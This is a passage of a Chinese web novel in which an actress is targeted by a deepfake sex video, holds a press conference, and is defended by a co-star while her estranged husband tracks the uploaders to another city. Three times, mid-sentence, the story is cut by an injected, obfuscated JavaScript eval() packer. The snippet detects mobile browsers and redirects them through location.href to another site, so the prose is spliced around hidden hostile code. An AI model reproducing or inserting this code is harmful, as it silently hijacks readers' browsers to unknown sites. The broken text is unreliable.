邵聿严肃的样子让李璟意忍不住笑出了声,“你还不知道吗?” 她顿了顿,满意地欣赏着邵聿的困惑,故作神秘地说道:“我已经向台里申请了,对你们最后一期邀请的重点嘉宾,做一次新闻专访。” “什么?”邵聿冷冷地盯着她耀武扬威的样子,面无表情道:“这是我的节目,领导不可能同意……” “不好意思,领导已经同意了。哦,对了,作为‘回报’,新闻部会给你提供二十万节目经费,用于场地租赁。”李璟意将手肘撑在桌子上,身子向他的方向欠去,一字一顿地说道:“从现在开始,这也是我的节目了。” “聿哥,聿哥!”刘恪辰一边喊,一边追向前方大步流星的邵聿。 刚才的筹备会最终不欢而散,尽管还是确定下来租用VeilMansion的场地,但室内的气压早已降至冰点,随着邵聿一声“散会”,所有人同时打了个冷战。 关于邵聿和李璟意之间的竞争,刘恪辰在进台第一天就被同事们好心提醒“千万不要让他们的工作有交集,也不要掺和他们俩的斗争”,这些时日来他从未踩雷。 只不过跟着邵聿学了这么久,如今对方已经来抢饭碗了,刘恪辰决定起码要从言语上支持一下自己的带教。 他跟在邵聿高大挺拔的身影之后,一路小跑赶到他身旁,“聿哥别生气,她一个新闻部的,来综合部也就是凑凑热闹,不可能动摇你综合部一哥的地位。” “哦,是吗?”两人走过拐角时,迎面出现的女人吓得刘恪辰险些把贵重的摄像机摔在地上。 李璟意双手背在身后,一步步向刘恪辰逼近,故意抬起头,捕捉着他躲闪的视线,“你的意思是,我的主持功底不如邵聿?” 刘恪辰绝望地闭上双眼,一瞬间甚至已经想好,离职的箱子里该带走哪些个人物品。 14. 艳照 “咳咳。” 突然响起的一声轻咳,给刘恪辰绝望的想象撕开了一片天地。他睁开眼,看到和自己同一批入职的实习记者伍旸,正小心地走到李璟意旁边。 “意姐,副台长那边喊你过去一趟。” 伍旸的话仿佛救命稻草,将刘恪辰解救出来。他感激地望着伍旸,朝他合十手掌。伍旸跟在李璟意身后,悄悄回头冲他挥了挥手,用手指比了个“三”。 “完了,要请他三天晚饭了……”刘恪辰一声长叹,掏出手机看了看岌岌可危的余额。 “我给你报销。”许久没有出声,刘恪辰被邵聿冷不丁地吓了一跳,他震惊地瞪大了眼睛。 邵聿微微低下头来,意味深长地盯着他,刘恪辰被这眼神盯得浑身发毛,不妙!他赶紧找补道:“聿哥,那个……我其实……” 话音未落,肩膀就被重重地拍了拍,耳畔响起了最不希望听到的一句话:“吃完饭,记得拿到他们的拟邀嘉宾名单。” 什么叫赔了夫人又折兵,刘恪辰这下可是明白了! 午饭时间,他无精打采地端着托盘在食堂里找位置,远远地就看见伍旸高举手臂,朝他招手。他把托盘重重地放在伍旸对面的空位置上,一言不发就开始往嘴里扒拉白米饭。 “怎么了?挨骂了?”伍旸放下筷子,歪着头问他。 他们两个都是广播大学今年的毕业生,同一批入职,一向关系都很好。伍旸想起上午的尴尬事件,恍然大悟:“是不是因为你背后说意姐坏话,聿哥批评你了?” 刘恪辰还是不说话,嘴里塞了几大口米饭,撑得脸颊都鼓起来。 “唉,我知道你也是想安慰聿哥,收官节目的事情对他来说肯定很难接受。不过他一直对你都挺好的,也不是有意要批评你,只是提醒你谨言慎行。” 伍旸说着说着,刘恪辰的头反而越来越低,之间他猛地把嘴里的饭咽下去,拿起手边的可乐一饮而尽。一口气吞咽了太多东西,刘恪辰剧烈地咳嗽起来,脸涨得通红,肩膀随着咳嗽而颤抖。咳了几声后,他直接把头埋在桌子上,像是忍耐着痛苦,喉咙里发出沉闷的声响。 “哎呦你慢点!”伍旸立刻站起身来,隔着桌子拍拍他的后背,“唉,昨天我就应该跟着意姐一起去参加你们的筹备会,你也不至于后来撞见意姐,又被聿哥说了。” “没事,我没事……”因为咳嗽,刘恪辰的嗓音也变得沙哑起来。 “别担心,之后收官节目咱们两个组会一起准备,有什么需要我帮忙的,随时开口!” “真的?”刘恪辰猛地抬起头来,伍旸茫然地与他对视,发现他其实一滴眼泪都没流。 “哇,你是故意的!”伍旸追悔莫及,可说出去的话就如同泼出去的水,他也只好认栽。 ……卯时三刻,琉璃宫檐角的铜铃随春风摇曳,悦耳的铃声与鸟儿清脆的鸣叫交相呼应。琉璃宫的规格和景致在阿房宫的诸多宫殿中格外优越,前有抱厦,后有花园,连窗棂都是紫檀木雕成的缠枝芍药。 柔软的春风悄然吹开正殿的雕花木门,宫室内每一处陈设都十分精致,青铜仙鹤香炉悠悠飘出悦人的香气,处处都能看出琉璃宫主人所拥有的宠爱。 “姐姐,无论我做出什么决定,都不希望你为我而流泪。” 晨起,江知渺尚未束起一头青丝,只着一袭素雅的白衣。她掀开薄纱帐幔,焦急地伸出手去,掌心轻贴柏霆宇的脸颊,端详着面前的英俊少年。 “阿冲,母亲为你取乳名为凤皇,自幼时便知你绝非平庸之辈,也不甘做这笼中之雀,可孤身一人去平阳做太守,我担心……” 柏霆宇扶着她的手臂,带她坐到梳妆镜前,拿起象牙梳篦,为她梳理发丝。江知渺从镜中窥见他心无旁骛的眼神,许久,悠悠叹息道:“倘若明知那是一条以卵击石的不归之路,我还应该让你走上去吗?” 他为她戴上发簪,“那我更要闯出一片天地,夺回慕容家原本拥有的一切,救你离开。” “咔——” 导演一声令下,摄影师、灯光师、造型师都动了起来,江知渺和柏霆宇走到监视器后,观看刚才那段表演的回放。 “霆宇这里的眼神很好,很有少年感。”张导不住地点头,开机半个月以来,他对柏霆宇的表演始终赞不绝口。 江知渺也跟着轻轻点头,小小的监视器画面中,记录了他的表演里非常丰富的细节,甚至在她的手落在侧脸时,他的双眸瞬间亮了起来。 与柏霆宇的合作出奇地顺利,她原以为柏霆宇会很难相处,可在经历了开拍首日那场爆炸意外后,他就收起了那副吊儿郎当的纨绔样子,再也没有说些不着调的话。 “谢谢张导,后面的戏我也会继续努力的。”柏霆宇给导演递上水杯,客气地回道。 “好好好,这部戏有你们俩,真是太让我放心了。行,那咱们准备转场,你们俩先去走走戏……” “知渺姐——”冉然的声音从远处传来,引得工作人员纷纷侧身看向她。 她一路狂奔,直直地穿越人群,一路撞到好几个人的肩膀,引来声声抱怨。很快,她跑到了江知渺的面前,气喘吁吁,脸憋得通红,“知渺姐,我……” “别着急,慢慢说。”江知渺不好意思地向张导抬手示意,同时手在冉然的背上轻拍,帮她顺气。 “我……你……栖月姐让你赶紧回电话!”说着,她掏出江知渺的手机。 江知渺接过手机,被屏幕上显示的几十个未接来电吓了一跳,她皱起眉头,解锁后发现微信也在不断地蹦出新消息。 “喂,栖月,发生什么了?” “江知渺,听我说,从现在开始,你谁的电话都不要接,谁的采访都不要回,我会立刻帮你跟制片请假。” 江知渺听得一头雾水,直到最后听到“请假”二字,她的脑海里发出“嗡”的一声。身旁的柏霆宇、导演、副导演也疑惑地望着她,江知渺严肃地问道:“到底发生了什么?” 面对她的疑问,梁栖月一反常态,反而降低了音量,然而接下来的话还是清晰地钻进了她的耳朵:“有人在网上发布了一段不雅视频,说,其中的女人是你。” 江知渺呆坐在房车里,车门紧闭,车窗拉上了厚厚的帘子,完全密封的空间,她只能把视线茫然地落在冉然扔到桌面的手机上。 她盯了手机很久,还是把手机拿起来,打开微博,点进热搜,看到“#江知渺不雅视频#”、“#江知渺床照#”、“#江知渺视频流出#”“#江知渺视频中的男人是谁#”一连串的话题挂在最顶端。 她随手点进去一个,视频已经被梁栖月高效地处理掉,可截图仍然在以可怕的速度流传着,求视频的更是不在少数。 这不是我,她在心底默念。 就像刚刚在片场,她挂掉梁栖月的电话,第一时间打开微博,一段十五秒的视频映入眼帘。 她只用了一秒钟,就脱口而出:这不是我。 昏黄的灯光,凌乱的床单,缱绻纠缠的发丝,大片暴露的皮肤,拥抱、亲吻、起伏、震颤…… 而这些之上,是一张与她毫无二致的脸,任谁看到都会坚定地说:这是江知渺。 但那不是她。 那个被环在健壮的男人臂膀中,眼尾绯红,露出暧昧神情,深陷情欢,忘我陶醉的女人,不是她。 或许看到视频的那一刻,她的声音有着细微的颤抖,或许她的脸色不自然地泛起惨白,柏霆宇一言不发抽走了她的手机,将她所看到的污秽尽收眼底。 他倒吸了一口凉气,下意识看向她的脸。 那是她。 不,也不对,那是她的脸。 只是,柏霆宇从未见到这张自带故事感的脸上,出现过如此意乱情迷的神情。尽管她在松 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599462|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 弛下来的时候,眉眼间也带着猫儿般慵懒的性感,可视频中的这副神情却非常直白地令人心跳加速,也令他心烦意乱起来。 他的手指在屏幕上重重地滑动几下,手机直接关机,然后不耐烦地递给冉然,厉声说道:“既然不想让她接触这些东西,为什么还要让她看到?” 江知渺迷茫地抬起头,她想从柏霆宇的表情中,解读出普罗大众的观后感;可她失败了。 柏霆宇深邃的眼眸中,装满了无法读懂的复杂情绪。他的眉头紧皱,这让他看起来成熟了几岁,可眼底又氤氲着清澈的光芒,像小动物受了伤似的,目光在微微颤动的睫毛下闪烁。 柏霆宇专注的眼神帮助他在探寻、在观察、在尝试做出判断。江知渺突然不想移开视线了,她开始好奇,这个只认识了自己不到一周的人,究竟会得出怎样的答案。 很快她就得到了解答,柏霆宇叫来自己的助理,亲口告诉他:“现在就发微博:请大家关注作品,停止造谣。” 说完,他转过身来,像是下定了什么决心,深吸了一口气,摊开双手。江知渺在那一刻以为,他就要张开怀抱拥抱她了。她也跟着紧张起来,甚至屏住呼吸,双脚下意识想要向后退去,却又像完全失去力气,任由他紧紧咬住命脉。 可柏霆宇没有,他只是极尽温柔地捏了捏她的肩膀,力度控制得刚刚好,比她略高的体温降落在发凉的皮肤上,霎时蔓延了全身。 正当她盯着黑屏的手机沉思时,房车的门突然从外面打开,梁栖月风尘仆仆地走进来,发现她还握着手机,一把抢过来,瞪了她一眼,“你可千万别给我找事。” 江知渺突然想问问她:你看到视频了吗?你觉得视频里的女人是我吗? 不过此时此刻,这些问题都不重要了,重要的是:你觉得那个人,会是我吗? 没有源头的艳情视频,无从下手的澄清方式,那个视频中的女人是不是她,早已不重要了。人们心底觉得有没有可能是她、会不会是她,才是最难拆除的定时炸弹。 为什么呢?她当时只顾着为柏霆宇无条件相信自己而感动,为他第一个站出来支持自己而感激,此时才回过神来,面对这样一个自由心证的绯闻,自己甚至忘记向他寻求原因。 “是什么让你相信,我不会是那个与陌生男人缠绵悱恻的女人呢?”突然窜上心头的问题让她感到有些熟悉,她努力让一团乱麻的头脑转动起来,却被梁栖月的手机铃声打断了思考。 “喏,邵聿的电话。”她将手机递到面前。 江知渺看到尚未接通的电话,眼前突然亮了一下。她想起来了,这个问题,她曾经问过邵聿——铺天盖地的照片,小花江知渺深夜被一男子从酒店抱出,乘坐豪华轿车离开,疑似被金主包养。 可那时,正在职业上升期的邵聿,却在新闻发酵后,立刻向她求婚,甚至不顾国立电视台的警告,在所有主流社交媒体上发文,声明当晚她与自己在家中,并公开了婚讯。 她在领证当天曾经问过邵聿:“那天晚上我和你并没有在一起,甚至,你还看到我从酒店里跑了出来,为什么你会毫无条件地信任我?” 当时邵聿是怎么说的? 江知渺按下接通键,分了神去回忆他当时的回答。 “喂,我是邵聿。”熟悉的醇厚音色在电流的传导下冰冷了几分,江知渺紧握住手机,尝试用耳畔肌肤的热度去温暖他的声音。 “台里让我回复,视频里的人是不是你?” “叮”的一声,江知渺听到了自己骤然响起的耳鸣,原本细微的声音在沉默中变得格外尖锐刺耳,利剑般划破记忆的浓雾,让一切都变得清晰起来。 江知渺不禁打了个寒颤,食指扣住掌心,指甲刺破皮肉,钻心的痛觉令她艰难地闭上双眼。 ——她想起来了,当时邵聿给她的回答是: 因为我爱你。 15. 迎战 “唉,这才拍了几天啊,就要停工。” “咱们这种牛马,不就是人家制片说拍就拍,说停就得停吗,谁把我们当人看?” “嘘,别说了,待会儿直接让你卷铺盖走人了……” 剧组工作人员正在怨气冲天地收拾着设备,看到江知渺经过,不少人纷纷停下手里的工作,和她打招呼。 他们都是与江知渺合作过多次的,圈内很多大牌演员的口碑都说不上好,江知渺的名声却奇怪地褒贬不一。 有人说她对拍摄非常苛刻,总是要求返工重拍,假如哪里有疏忽,她就会用审视的眼光盯着你,让你背后冒出一层冷汗,灰溜溜地改正。 也有人说她对剧组工作人员非常友好,总是请大家喝水吃零食,教过不少有用的专业技巧,假如谁家里有急事请假,她还会在你回来后主动慰问。 江知渺短暂地停下脚步,对那些和她打招呼的人点头示意,没做过多的停留。《流年似水》刚刚开机一周,一大早就突然宣布,因为饰演女主中学时期的沈筱悠罢演,需另选演员,全组无限期停拍。 以往,面对这种突如其来的变故,江知渺的内心总是十分平静。反正停拍的时候,她也可以安排其他工作。拍杂志、拍广告、上表演课,一整天的行程比在剧组还要满满当当,就像今早便乘上飞机去拍综艺的吴佑安一样。 可今时不同往日,除了这个剧组,她无处可去。 回家吗?想到那个毫无烟火气的家,她更加烦躁了。趁着等待冉然整理收拾她的私服时,江知渺在片场漫无目的地闲逛。 原以为主演们都已经离开了,却没想到竟迎面遇上了楚妍姝。她远远地看见江知渺,就露出了甜甜的笑容,轻快地朝她走过来,轻盈地像一只蝴蝶,脚下的水泥路变成了花丛,任她翩翩飞舞。 江知渺对她的印象不错,原本以为这个女二号是难缠的人物,毕竟她是圈里出了名的富二代,可相处一周下来,丝毫没有发现她摆过什么架子,反而成了剧组公认的团宠。 “知渺姐,你也还没走呢?” 她蹦蹦跳跳的身影像小孩子一样,江知渺不知不觉间也挂上了微笑,“嗯,我家就在A市,不着急走。” “啊——真羡慕你啊!”她亲密地抱住江知渺的胳膊,像树袋熊抱住树干一样。 “你这么年轻,羡慕我做什么?”江知渺扭头,不解地看着她。 她的眼睛像两颗水灵灵的樱桃,听到江知渺的话之后,责怪似的眯了大半,“知渺姐,我都要觉得你是在故意炫耀了。离开剧组就能回到自己的小家,多温馨啊!” 她一边走,一边轻轻摇晃着江知渺的手臂,“随时都有人等着你回家,想想就很幸福。我要是有朝一日也能有自己的家,能过上这样的生活,就不当演员了,每天就在自己的家里,永远不出来。” 她还在畅想着:要把窗帘换成米黄色的,这样阳光照进来后是金黄色;要把桌布换成碎花的,吃饭的时候就像是在野餐;要养三只猫,每天抱一只陪自己睡,另外两只互相作伴…… 说着说着,她发现江知渺的眼神有些茫然,视线落在远处空空如也的荒地上,似乎在走神,连脚步也慢了下来。 “知渺姐?知渺姐?”她试探着问道。 “啊?”江知渺一惊,缓缓转头看向她。 “抱歉啊知渺姐,我说得是不是太多了,你最近一定很辛苦,是我耽误你休息了……”楚妍姝低下头去,饱满的头颅不自在地缩着,像一朵打蔫的花苞。 江知渺晃了晃自己的手臂,也带动了她的,等她抬起头,怀着歉意说道:“没事,可能是昨天拍了夜戏,有点累。” “知渺姐。”楚妍姝突然收回了笑意,一双圆目无比真诚地眨了眨,“我相信你。” “什么?”江知渺没反应过来。 “柏霆宇的死,我相信不是你做的。” 楚妍姝松开手,上前两步,走到她面前,抿了抿嘴唇,说道:“我也跟柏霆宇合作过,知道他很爱炒作,只要是和他演过对手戏的女演员,没有一个不会传绯闻的。” 她眨眼的频率忽然加快了,双手握拳,肩膀绷得很直,忿忿地咬着下唇。江知渺这才想起来,一年前,自己曾经看到过楚妍姝和柏霆宇的恋情。 楚妍姝毫不掩饰自己的怒意,江知渺也能理解:二十出头的小花,事业上升期被炒作绯闻,事业受到严重影响,一定十分介怀。 江知渺知道自己应该安慰她几句,上前握住她的手,或者学着她的样子,久违地不吐不快,和她吐槽牛皮癣一样的绯闻,骂几句柏霆宇的坏话。 可她怎么也张不开口,喉咙像是被甜腻的糖水封住了,声音被堵在胸腔里。她在片刻的沉默里,听清了自己心底的话语。随着声音逐渐清晰,她慢慢地睁大了眼睛。 原来自己想说的是:其实,他是个好人。 几个月前,所谓的“不雅视频”在网络上爆发式传播后,江知渺严词拒绝了所有人的建议,坚持继续拍摄《凤皇止阿房》。 在其他人看来,她只是缩短了睡眠和休息的时间去处理私事,然后仿佛什么也没发生过一样,照常回来拍摄。那些窃窃私语、指指点点,没有让她受到半分影响,她就像是一块铁板,将所有刀枪抵挡在外。 变化更大的,反而是柏霆宇。以往只要导演喊咔,他就会恢复那套不正经的样子,要么东说说西闹闹,招猫逗狗,四处拈花,要么干脆不知道溜到哪里,等开拍了再派人去寻他。 现在他却一反常态,休息时间总是叫来几个助理吩咐些什么,生人勿进的气息让化妆师都得退避三舍。 “韩哥,你之前说有个兄弟在信息科技研究院工作,可以请他帮我个忙吗?” “对对,就是这个事,现在AI那么发达,咱们外行看不出真假,还得是专业的研究员比较懂。” “好,好嘞,谢谢韩哥!等这部戏杀青,请你们吃饭哈!” 助理在一旁等他通完话,将水递给他,几番犹豫后,还是问道:“哥,咱犯得上费这么大力气帮她吗?” 柏霆宇刚喝了两口,听到这话立刻拧上瓶盖,瞪了他一眼,“举手之劳,为什么不帮?” “可是,哥,你又是花钱花时间又是搭人脉的,万一那个视频就是她……” “找死吗?”柏霆宇的声音突然阴沉下来,仿佛野兽的低吼,声音在肺腑充分震荡,惊雷震耳。 “再说这种话,立刻给我滚蛋。”一句警告让助理吓得呆若木鸡,哆嗦着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15599463|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 摇头,不停地鞠躬道歉。 “行了,赶快把我给你发的几个营销号IP地址查出来,他们是最早发布视频的。下午江知渺就要开记者会了,争取在那之前找到点线索。” 按照梁栖月的安排,在事情发生的当天发布澄清声明后,江知渺就应该闭上嘴巴,不再作出任何回应,让舆论慢慢降温,直到找出伪造视频的元凶。 然而她还是低估了网络对这件事的热情,甚至还挖出了七年前有关江知渺疑似被金主包养的旧新闻,更是将舆论推向了不可控制的方向。 江知渺下工时,刚好碰到梁栖月在酒店房间里焦虑踱步,她拉住梁栖月,把早就编辑好的微博草稿递给她。 “关于此次事件,我将与xx月xx日召开记者会,正式回应。” 梁栖月不可置信地看了两遍,瞪大了眼睛,“江知渺,你是不是疯了?还嫌这热闹不够大吗?” “难道我什么都不说,热闹就会自己停下来吗?”她反问道,将梁栖月问得哑口无言。 “我没有什么见不得人的秘密,既然媒体有一箩筐的问题,那就让他们问。”江知渺低声劝说着。 梁栖月发出一声长叹,“可是你有没有想过,为了热度,他们能问出什么问题?” 江知渺给她倒了一杯水,塞进手里,点头轻声笑了笑,“想过啊,就是因为想过了,所以才不怕他们问。” 他们会用肮脏的揣测、污秽的眼神、审判般的质问来进攻,那么她也会用最坚定的真相,予以反击。 记者会的时间定在了三天后,地点就在剧组附近的一个小型会场。江知渺在上台前,将梁栖月提前为她准备的稿子交还给冉然。她闭上双眼,屏蔽掉外界的声音,在躁动的空气中,深深地吐息。 她努力了这么久,如今只走到这里,怎么能被毁灭呢? 冉然最后帮她整理了一下发型,在齐刷刷的快门声和闪光灯中,江知渺一步一步,平稳地走进会场。 “视频中的女人是你吗?请回应!” “有传言说你在毕业后就被金主包养,请问这是事实吗?” “你说视频是被AI换脸的,有什么证据吗?” …… 七嘴八舌的问题排山倒海般向她碾压过来,江知渺端坐在椅子上,将话筒的开关打开,轻轻拍打确认能够正常发声后,抬眼看向他们。 凌厉的视线扫过全场那一瞬间,所有声音都停止了,现场陷入死一般的寂静。她那双在荧幕中时而流泪时而含笑的眼中,如今蕴藏着狼一般的危险。 她的眼神在警告、在审视、在寻找破绽,似乎不是他们在质问她,而是她在咄咄逼人地向这些媒体进行致命发问。 一些记者刚刚对上她的目光,就不由自主地低下头去。江知渺认得出他们,许多都是老面孔,那些不敢看她的,都是曾经利用她的新闻添油加醋写头条的人。 她从来没有和任何人说过,她喜欢接受采访,从她首次接受采访、也是唯一一次接受邵聿采访的那天起,她就爱上了被采访的感觉。这种人与人之间硬碰硬的抗衡,对于一个演员来说,便是无声的战场。 出招、接招、变阵、收割。 她一向应对自如,这次也不会有例外。 16. 追踪 为了维持秩序,梁栖月特意在长桌前拉起一道警戒线。然而记者会甫一开始,洪水般的人群就向前冲断了脆弱的围挡。 无数只话筒被高高地举起,怼到江知渺面前,他们的手臂互相激烈碰撞,争抢最中心的位置,传出不体面的咒骂。在争抢中,长长的话筒不时失去平衡,甚至偶尔撞到她的脸,像利剑般向她直直地刺去。 密密麻麻的娱记们兴奋的面孔,仿佛她在正□□地站在他们面前。他们摩拳擦掌,渴望将她问得哑口无言,无法自证清白,最好是找出证据证明那段激情的视频女主角就是她。 江知渺不自然地后仰着上身,努力拉开和他们的距离。她读懂了那些兴奋背后的潜台词:自恃清高的演技派大花,背地里也是个要向野男人求温暖求慰藉的贱人。 她这时才深切地体会到,梁栖月为何那么抗拒让她召开记者会。哪怕她问心无愧,可直面那些龌龊的揣测,还是会令她产生片刻的动摇——我是不是真的做错了什么? 网络上的言论与面对面的对峙相比都显得过于柔和,她可以做到对网友的讨论视若无睹,却无法自制地在记者的追问面前慌了神。 “召开此次记者会,并非只是为了澄清。”江知渺定了定神,屏蔽掉台下的吵闹,视线从那些八卦的脸上挪开,尽力保持着极其清晰的吐字。 “这种不法行为,已经损害到社会中每一个女性的安宁。今天是我,明天、或许昨天就已经有了其他受害者。” “我想在这里,让大家认识到深度伪造的危害,更重要的是,让越来越多的人树立起对Deepfake受害者的正确观念。” 随着娓娓道来的心声,她的焦虑、恐惧和愤怒也终于缓和下来。江知渺定神呼气,继续说道:“我们在毫不知情的情况下,被某些人伪造成视频和图片的主角,没有任何还手的余地,就变成了完完全全的受害者。这种伤害与受到殴打、重伤并无二致,甚至更加严重。” “所以,我想以一个受害者也是一个公众人物的立场,发出呼吁:希望社会、媒体和亲友,能够给予她们最大的关怀,不要用污言秽语和二次传播,反复伤害她们。” 江知渺站起身来,向记者深深地鞠了一躬,在她弯下腰停顿的几秒钟里,所有记者都自发地停止记录,唯有闪光灯在剧烈地闪烁。 “谢谢大家。” 将心底的话讲出来,江知渺忽然不再惧怕与台下的人对视,她恢复以往习惯性微微抬起的下颌角度,正视着每一双躲闪的眼睛。 这一席话让媒体哑口无言,提前准备好的问题在她真切的感受面前,显得下流无耻。江知渺等了半分钟,见无人提问,再次拿起话筒,准备宣布记者会结束。但是,正在这时,柏霆宇突然从后台走上前来。 顶灯打在他蓬松的头发上,颅顶发丝随着大跨步的步伐而跃动,棱角分明的脸在看向台下时不带一丝笑意,江知渺从未见过那么冰冷的侧脸。 下一秒,他却转过头对着江知渺笑了起来,标志性的咧开嘴角的笑容,让压抑的会场都明亮起来。 他没有回应江知渺的困惑,只是点点头,给她一个令人安心的眼神,一点一点掰开她握住话筒的手指。 “各位记者朋友,关于伪造视频的人,已经有了新的线索。” 柏霆宇的一句话宛如投向宁静水面的一颗石子,会场内瞬间炸开了锅。不知何时,一旁的大屏也被点亮,他指着屏幕说道:“我们追踪了几个最早发布视频的账号的IP地址,发现都位于D市,我们合理怀疑这是一场有预谋的违法犯罪行为,该信息已经同步提供给警方。” 说着,他走到长桌前,俯视着台下的记者,“经过AI领域专家的分析,目前可以确定的是,网络上流传的视频是有人故意伪造。假如有人再恶意造谣、传谣……” 柏霆宇顿了顿,居高临下的视线环视一圈,愣愣地地说道:“后果自负。” VeilMansion三十层会场内,《钩沉》第三季收官节目开机倒计时一小时。 “恪辰,你去休息室看看,还有哪位嘉宾没有到场。” 接收到邵聿的指令,刘恪辰一溜烟就从会场跑了出去,穿过富丽堂皇的走廊,乘电梯来到顶层,敲响休息室的房门。屋内的气氛非常热闹,从二十至六十岁不等共十余位嘉宾,此时正在彼此熟络中。 此次节目录制邀请的都是在历史、考古领域多有涉猎的嘉宾,因而大家刚一见面就立刻找到共同话题。刘恪辰一路招呼着他们喝水吃茶歇,穿过布置精美的休息室,将偌大的房间绕了一圈,发现冯教授尚未到场。 距离节目录制开始还有一个小时的时间,刘恪辰赶紧将此事报告给邵聿。邵聿那边正在化妆,电话开了外放,隐约能听见编导在和他顺节目流程。 “除了冯教授,其他人都化完妆了吗?”他的声音远远地从听筒里传来,有些失真。 “都化过了,随时可以前往会场开始录制。聿哥,用不用我给冯教授打个电话,问问他到哪了?” “不用。”邵聿非常确定地告诉他,“冯教授住在D市,开车过来需要三个小时,四小时之前去接他的司机给我发过消息,说他们已经出发了。” “万一是堵车了呢?聿哥,要不我还是再确认一下吧。” “不需要,我知道D市的路况。” 邵聿是一个时间观念很严格的人,以往的节目里,如果嘉宾在开始前一个小时还未到场,他肯定会主动联系询问的。 刘恪辰觉得奇怪,心里嘀咕起来:虽说冯教授是《钩沉》的老熟人了,但聿哥天天都在A市台里工作,什么时候对D市的道路这么了解了? 短暂的沉默后,邵聿突然睁开眼,化妆刷猝不及防划过眼角,令化妆师惊呼了一声。他向前欠身,伸手从化妆桌上拿起手机,不等刘恪辰说完下一句话,就飞速地挂断了电话。 他熟悉D市的大街小巷,乃至任何一条无名小路。假如时间充足,他甚至可以徒手把D市的地图画出个大概。 当时《钩沉》第三季第一期即将开播,紧凑的筹备会之间,只要有一点零碎的空闲时间,他都要在网上追查,寻找最先发布伪造江知渺视频的媒体。 江知渺召开新闻发布会时,他正循着堂叔邵峥帮他追踪到的IP地址,驱车前往D市。可惜短时间内,邵峥也只能查到一个极其模糊的IP所属地,要想拿到精确定位,必须向警方申请。他不想再等待层层审批,一脚油门将车速提到了极限,乘着暮色踏上D市的大街小巷。 在偌大的D市找到一个营销号的运营方,无异于大海捞针。邵聿拿出平板,将D市地图仔仔细细地看了两遍。凭借记者出身的专业能力,他确定了几处小公司聚集的写字楼区。 华灯初上,无数从公司回家的人群中,邵聿是为数不多逆流而上的人。他记不清自己路过了多少杂七杂八的公司标牌,敲过多少次门,询问过多少过路人。时间突然像指尖的清水般流动得飞快,当他的喉咙都快要冒烟,没来得及换下皮鞋的双脚也开始胀痛时,已经来到了凌晨十二点。 人头攒动的城中心区,此刻变成了一座空城,宽敞的马路边只剩下他一个 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15605007|172006||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人。邵聿疲惫地靠在车头,不断地缩放屏幕上的地图,企图从中找出那个藏污纳垢的角落。 也正是在死一般的寂静中,突如其来的新闻弹窗,在他耳边迸发出“砰”的一声巨响。他茫然地划动屏幕,图文并茂的娱乐新闻并不长,只用了两下就划到评论区。看到七嘴八舌的讨论,邵聿才意识到他刚刚其实并没有把内容读进去。 他返回开头,想要认真地阅读,可新闻开头的照片就令他蓦然停住了,困倦劳累的大脑忽地生出针刺般的疼痛。神经抽痛诱使压抑的记忆迸发出来,他终于敢去细细思考几小时前江知渺的记者会。 关于这场记者会,江知渺提前和他打过招呼,因为担心突然发声会影响他在电视台的工作。他也提前和台里汇报了此事,甚至记者会现场就有他的同事。 然而意料之外的,是柏霆宇的突然出现。他强势地宣告了江知渺的无辜,又毫不犹豫地把她护在身后,对造谣者发出严厉警告。 果断、坚决、勇敢、可靠,这就是柏霆宇的形象,至少是他展现出来、邵聿看到的形象。 面对网友们对柏霆宇毫不吝啬的夸赞,邵聿不得不承认,他的心底被深深刺痛了。他不愿再看到大家讨论柏霆宇对江知渺如何好,干脆把屏幕熄灭,抬头望向无云的夜空。 好吧,邵聿按住心脏的位置,多次试图平静自己的呼吸——他承认,他嫉妒得发狂。 坚定地站在江知渺身边,为她挡掉一切伤害的人,应该是他。 接受所有赞扬,让所有人都感叹对她爱得深切的人,也应该是他。 并且只能是他。 静谧的夜色加深了他的寂寥,有那么一瞬间他几乎想要立刻拨通江知渺的电话,质问她为什么要允许其他人站在属于他的位置上,向她不讲道理地宣布,她的身边只能有他一个人。 分明柏霆宇做的事情他也在做,甚至他做的更多,已经先于警方来到D市。可为什么看起来柏霆宇才是那个真心信任她的人? 邵聿后悔了,他后悔自己将太多事情隐而不发,还故意装作对她有所怀疑的样子,去问她视频里的人究竟是不是你。 他将喝完的矿泉水瓶随手扔进垃圾桶,塑料瓶与铁皮碰撞的回音在写字楼间回响,他忍不住捂住了心口,心头空落落的感觉让他痛苦地拧紧了眉头。 假如在视频爆出后自己和江知渺的那通电话里,他再温情一点,再坦然一点,直接告诉江知渺,我相信视频中的女人绝对不是你,那么现在人们口中的、可能也是她心目中的那个守护她的骑士,是不是就会不一样? 可哪怕时间倒流,再次回到电话接通时,他还是没有信心,不敢确定事情会走向另一个岔路口。 